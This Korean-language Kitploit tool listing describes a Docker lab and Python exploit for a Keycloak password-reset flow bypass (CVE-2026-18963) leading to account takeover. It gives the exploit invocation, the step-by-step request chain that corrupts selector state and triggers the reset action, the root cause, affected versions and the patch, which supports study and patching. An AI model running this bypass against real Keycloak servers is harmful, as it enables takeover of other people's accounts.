Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-18963 — CVE-2026-18963에 대한 Docker 기반 실습 환경 및 Python 익스플로잇으로, 이메일 인증 우회를 통해 계정 탈취를 가능하게 하는 Keycloak 비밀번호 재설정 흐름 우회 취약점입니다. | Kitploit
도구/GitHubGitHub/ivanesk315/cve-2026-18963
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingIdentity & Access Management (IAM)AuthenticationLearning & EducationLabs & Practice
GitHubivanesk315/cve-2026-18963

CVE-2026-18963

CVE-2026-18963에 대한 Docker 기반 실습 환경 및 Python 익스플로잇으로, 이메일 인증 우회를 통해 계정 탈취를 가능하게 하는 Keycloak 비밀번호 재설정 흐름 우회 취약점입니다.

0일 전아직 검토되지 않음
저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-18963 — Keycloak Reset-Credentials Flow Bypass Lab

개요

Keycloak의 CVE-2026-18963 (CVSS 9.1) 취약점을 시뮬레이션하는 Lab으로, 공격자가 비밀번호 재설정 흐름에서 이메일 검증을 우회하여 임의의 계정을 탈취할 수 있게 합니다.

보안 연구 및 교육 목적으로만 사용하십시오.

요구 사항

  • Docker & Docker Compose
  • Python 3.8+
  • pip

사용 안내

1. 취약한 Keycloak 실행

root@kitploit:~
docker-compose up -d

Keycloak이 시작될 때까지 기다립니다 (~30-60초).

2. Lab 설정

root@kitploit:~
pip install -r requirements.txt
python setup-lab.py

스크립트가 생성하는 항목:

  • reset-password가 활성화된 Realm vuln-lab
  • 이메일 발송을 위한 SMTP (MailHog) 구성
  • 사용자 victim ([email protected] / VictimPass123!)
  • 3. Exploit 실행

    root@kitploit:~
    python exploit.py -u http://127.0.0.1:8080 -r vuln-lab -t victim -p Pwned123!
    

    옵션:

    • -u / --url: Keycloak URL (기본값: http://127.0.0.1:8080)
    • -r / --realm: Realm 이름 (기본값: vuln-lab)
    • -t / --target: 대상 사용자 이름 (기본값: victim)
    • -p / --password: 새 비밀번호 (기본값: Pwned123!)
    • -v / --verbose: 디버그 출력 활성화

    4. 이메일 확인 (선택 사항)

    MailHog UI: http://127.0.0.1:8025 — exploit 과정에서 발송된 reset-password 이메일을 확인합니다.

    5. 정리

    root@kitploit:~
    docker-compose down -v
    

    기술 세부 사항

    근본 원인

    Keycloak의 두 가지 결함이 결합되어 공격 체인을 형성합니다:

    결함 1 — Selector 상태 손상 (DefaultAuthenticationFlow.java): 사용자가 "Try Another Way"를 클릭하면, auth note AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED가 execution model ID 대신 "true" (불리언 문자열)로 저장됩니다. "true" 값은 특정 execution에 바인딩되지 않으므로 flow 내 단계 전반에 걸쳐 지속되어, selector가 잘못된 컨텍스트를 표시하게 만듭니다.

    결함 2 — 무조건적 action 성공 (ResetCredentialEmail.java): ResetCredentialEmail의 action() 메서드는 action token을 확인하지 않고 무조건 context.success()를 호출합니다. 정상적으로 action()은 사용자가 이메일의 링크를 클릭할 때(action token 보유)만 호출됩니다. 그러나 selector가 손상되면 공격자는 flow processing을 통해 action()을 직접 트리거할 수 있습니다.

    상세 공격 흐름

    root@kitploit:~
    Attacker                              Keycloak
       │                                     │
       │─── GET /auth (OIDC + PKCE) ────────>│  1. auth session 초기화
       │<── Login page + cookies ────────────│
       │                                     │
       │─── GET /reset-credentials ─────────>│  2. reset flow로 이동
       │<── Username form ──────────────────│
       │                                     │
       │─── POST tryAnotherWay=on ─────────>│  3. selector 상태 손상
       │<── Authenticator selector ─────────│     SELECTOR_DISPLAYED = "true"
       │                                     │
       │─── POST username=victim ──────────>│  4. selector를 통해 username 전송
       │<── "Check your email" page ────────│     이메일 발송, CURRENT_EXEC = email_id
       │                                     │
       │─── GET /reset-credentials ────────>│  5. reset flow 재진입
       │<── Corrupted selector (!!!) ───────│     processFlow()가 SELECTOR="true" 확인
       │                                     │     → email 단계에 selector 표시
       │                                     │
       │─── POST {} (empty body) ──────────>│  6. BYPASS: action() 트리거
       │<── 302 → UPDATE_PASSWORD ─────────│     processAction()이 form에서
       │                                     │     authenticationExecution을 찾지 못함
       │─── GET /required-action ──────────>│     → action() 분기로 진입
       │<── Password update form ──────────│     ResetCredentialEmail.action()
       │                                     │     → context.success() (무조건적!)
       │                                     │     → flow가 ResetPassword로 전환
       │                                     │
       │─── POST password-new=Pwned! ──────>│  7. 새 비밀번호 설정
       │<── 302 → /account/ ──────────────│     Account takeover 완료
       │                                     │
       └── 새 비밀번호로 로그인 ─────────────┘
    

    step 6이 작동하는 이유

    DefaultAuthenticationFlow.processAction()에서 POST를 수신할 때:

    1. form에서 tryAnotherWay 확인 → 없음 (빈 form)
    2. form에서 authenticationExecution 확인 → 없음 (빈 form)
    3. 마지막 분기로 진입: URL의 model에 대해 authenticator.action(result) 호출

    URL에 execution=<email_exec_id> (selector form action에서 유래)가 포함되어 있으므로, ResetCredentialEmail.action()이 호출됨 → context.success() 반환 → flow가 ResetPassword로 전환 → 비밀번호 설정 form 표시.

    영향받는 버전

    제품영향받음패치됨
    Keycloak (upstream)< 26.7.226.7.2+
    RHBK 26.4.x< 26.4.1526.4.15+
    RHBK 26.6.x< 26.6.626.6.6+

    패치 (PR #51844)

    DefaultAuthenticationFlow.java:

    • setAuthNote(SELECTOR_DISPLAYED, "true") → setAuthNote(SELECTOR_DISPLAYED, model.getId())
    • processFlow()가 Boolean.parseBoolean() 대신 selector.equals(lastExecutionId) 확인
    • 일치하지 않으면 → removeAuthNote(SELECTOR_DISPLAYED)

    ResetCredentialEmail.java:

    • action()이 context.success() 호출 전에 ACTION_TOKEN_USER_ID 확인
    • 유효한 action token이 없으면 → context.failure(INVALID_USER)

    참고 자료

    • NVD - CVE-2026-18963
    • Red Hat CVE Page
    • Keycloak Issue #51833
    • Fix PR #51844
    • Kudelski Security Research
    • The Hacker News
    도구 다운로드